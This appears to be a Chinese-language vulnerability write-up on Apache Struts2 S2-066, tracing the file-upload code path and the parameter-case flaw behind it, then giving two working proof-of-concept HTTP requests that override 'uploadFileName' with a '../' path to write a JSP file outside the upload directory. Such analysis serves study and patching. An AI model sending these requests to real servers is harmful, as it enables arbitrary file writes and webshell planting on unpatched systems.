S2-066分析
2023-12-11 17:36:36

# 漏洞描述

image-20231211095248309

# 影响版本

1
2
2.5.0 <= Struts <= 2.5.32
6.0.0 <= Struts <= 6.3.0

# 修复版本

1
2
Apache Struts2 >= 2.5.33
Apache Struts2 >= 6.3.0.2

# 环境搭建

测试版本

1
2
3
4
5
<dependency>
<groupId>org.apache.struts</groupId>
<artifactId>struts2-core</artifactId>
<version>6.3.0</version>
</dependency>

百度网盘

# 漏洞分析

首先看下官方修复的代码

https://github.com/apache/struts/commit/162e29fee9136f4bfd9b2376da2cbf590f9ea163

这里可以看到有几处都讲参数转换为小写,漏洞应该和这个有关系

我们先上传一个文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /S2_066_war_exploded/upload.action HTTP/1.1
Host: localhost:8080
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 248
Content-Type: multipart/form-data; boundary=------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="Upload"; filename="../1.txt"
Content-Type: text/plain

This is test
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN--

image-20231211145549898

image-20231211145930148

打上断点看下流程

在 org.apache.struts2.interceptor.FileUploadInterceptor#intercept 中

image-20231211151544422

这里通过 multiWrapper.getFileNames 方法,对 wrapper 封装的 request 对象以及 inputname 来获取到 filename

通过数组加载进 accept 方法

image-20231211154023490

然后判断不为空开始遍历 accept,将其加载进参数

image-20231211161357489

再来看 strut 是如何处理文件名的

image-20231211163356689

大概理解下代码

1
2
3
4
5
6
7
8
9
10
11
12
protected String getCanonicalName(final String originalFileName) {
String fileName = originalFileName;

int forwardSlash = fileName.lastIndexOf('/');
int backwardSlash = fileName.lastIndexOf('\\');
if (forwardSlash != -1 && forwardSlash > backwardSlash) {
fileName = fileName.substring(forwardSlash + 1);
} else {
fileName = fileName.substring(backwardSlash + 1);
}
return fileName;
}

匹配最后一个 / 的位置

在本例中则为 2,也就是 forwardSlash

而…/1.txt 中没有 \\

所以 backwardSlash 为 - 1

所以 if 条件满足

执行 fileName = fileName.substring (forwardSlash + 1);

赋值新的 filename,也就是 / 后面的内容,也就是请求的文件 1.txt

最终返回

image-20231211164346848

并 set 存储到上传对象中

这段代码也就是拦截了路径穿越

image-20231211171719991

以上上传文件的对象最终会保存到 HttpParameter 参数中

所以看下是不是可以变量覆盖

其实刚出的时候看过官方的 commit,看到修改了几个小写

我想到的就是大小写绕过,但是不可能这么简单,就在想是不是什么地方或者是什么加载器也加载了文件和文件内容,导致文件上传。

先来看看上下文对象获取的大概流程

上下文是从 ac.getParameters () 获取的

image-20231211175525092

一直跟进到 ActionContext 下的 get 方法

image-20231211175927070

下面就是找上下文的创建,在 org.apache.struts2.dispatcher.Dispatcher#serviceAction

这里获取上下文是 map 结构存储,key 唯一

那这里就不太可能存在变量覆盖

image-20231211180829481

然后再看会不会是参数绑定

在 com.opensymphony.xwork2.interceptor.ParametersInterceptor#doIntercept

image-20231211195921775

这里参数绑定会经过三个

1
2
3
params.entrySet()
parameters.entrySet()
acceptableParameters.entrySet()

其中 params 和 parameters 都是通过 HttpParamteters 对象加载上传文件和类型,内容

image-20231211201631821

而 acceptableParameters 是通过 TreeMap 加载的

image-20231211201808865

但是这个加载是有顺序的

通过代码测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import java.util.TreeMap;

public class Main {
public static void main(String[] args) {
// 创建一个TreeMap对象
TreeMap<Object, Object> objectObjectTreeMap = new TreeMap<>();

// 向TreeMap中添加两个键值对
objectObjectTreeMap.put("a", "1");
objectObjectTreeMap.put("A", "1");

// 打印TreeMap对象
System.out.println(objectObjectTreeMap);
}
}

image-20231211201017453

可以看到会优先大写的

这里直接跟着 Y4 爷的步伐。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /upload.action HTTP/1.1
Host: 127.0.0.1
Accept: */*
Content-Length: 188
Content-Type: multipart/form-data; boundary=------------------------
xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="Upload"; filename="1.txt"
Content-Type: text/plain

1aaa
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="UPloadFileName";
Content-Type: text/plain
1323.jsp
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN--

在 ognl.OgnlRuntime#_getSetMethod 获取 setter ⽅法时调⽤了 ognl.OgnlRuntime#getDeclaredMethods 做处理

这里了遍历方法名,加载到 set 方法,setUpload

image-20231211213047462

image-20231211214207202

得到值为 1,也就是 public 修饰符

image-20231211213810889

后去就是 m 的值赋给新的成员变量,到达 result 返回

image-20231211214418882

最终通过_getSetMethod 返回 method

image-20231211214607186

中间就都是一些类的处理,不是很重要

我们直接看 addIfAccessor 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private static void addIfAccessor(List result, Method method, String baseName, boolean findSets)
{
final String ms = method.getName();
if (ms.endsWith(baseName)) {
boolean isSet = false, isIs = false;
if ((isSet = ms.startsWith(SET_PREFIX)) || ms.startsWith(GET_PREFIX)
|| (isIs = ms.startsWith(IS_PREFIX))) {
int prefixLength = (isIs ? 2 : 3);
if (isSet == findSets) {
if (baseName.length() == (ms.length() - prefixLength)) {
result.add(method);
}
}
}
}
}

大概梳理下逻辑

首先检查方法名是否是以’baseName’结尾

如果是,进一步检查是否以几个前缀开始的

如果是 is 开头长度为 2,不是则为 3

如果和要找的设置器响度相等,就比较 ms 方法减去前缀,其实也就是 baseName 的方法名,如果一致,就添加到 result 中

其中关于 baseName,我们来看下 getDeclaredMethods

其中这部分

1
2
3
String baseName = capitalizeBeanPropertyName(propertyName);
result = new ArrayList();
collectAccessors(targetClass, baseName, result, findSets);

经过 capitalizeBeanPropertyName 方法处理后得到 baseName

1
2
3
4
5
6
7
8
9
char first = propertyName.charAt(0);
char second = propertyName.charAt(1);
if (Character.isLowerCase(first) && Character.isUpperCase(second)) {
return propertyName;
} else {
char[] chars = propertyName.toCharArray();
chars[0] = Character.toUpperCase(chars[0]);
return new String(chars);
}

简单描述下就是,如果传过来的 baseName,首字母是小写的,第二个字母是大写的,直接返回

否则就大写第一个字母返回

又因为我们要触发的是 com.struts2.UploadAction#setUploadFileName

其中 baseName 也就是 UploadFileName

那就只能写成 UploadFileName 或者是 uploadFileName

poc1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /S2_066_war_exploded/upload.action HTTP/1.1
Host: localhost:8080
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 406
Content-Type: multipart/form-data; boundary=------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="Upload"; filename="1.txt"
Content-Type: text/plain

This is test
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="uploadFileName"
Content-Type: text/plain

../123.jsp
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN--

image-20231211205052719

image-20231211205122110

poc2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /S2_066_war_exploded/upload.action?uploadFileName=../1234.jsp HTTP/1.1
Host: localhost:8080
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 406
Content-Type: multipart/form-data; boundary=------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="Upload"; filename="1.txt"
Content-Type: text/plain

This is test
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN

image-20231211205158357

image-20231211205213052

# 漏洞修复

看 diff 不难发现官方将传递的参数改为大小写不敏感,检查当前键是否与 nameLowerCase 相等,忽略大小写,这样就会覆盖我们传递的值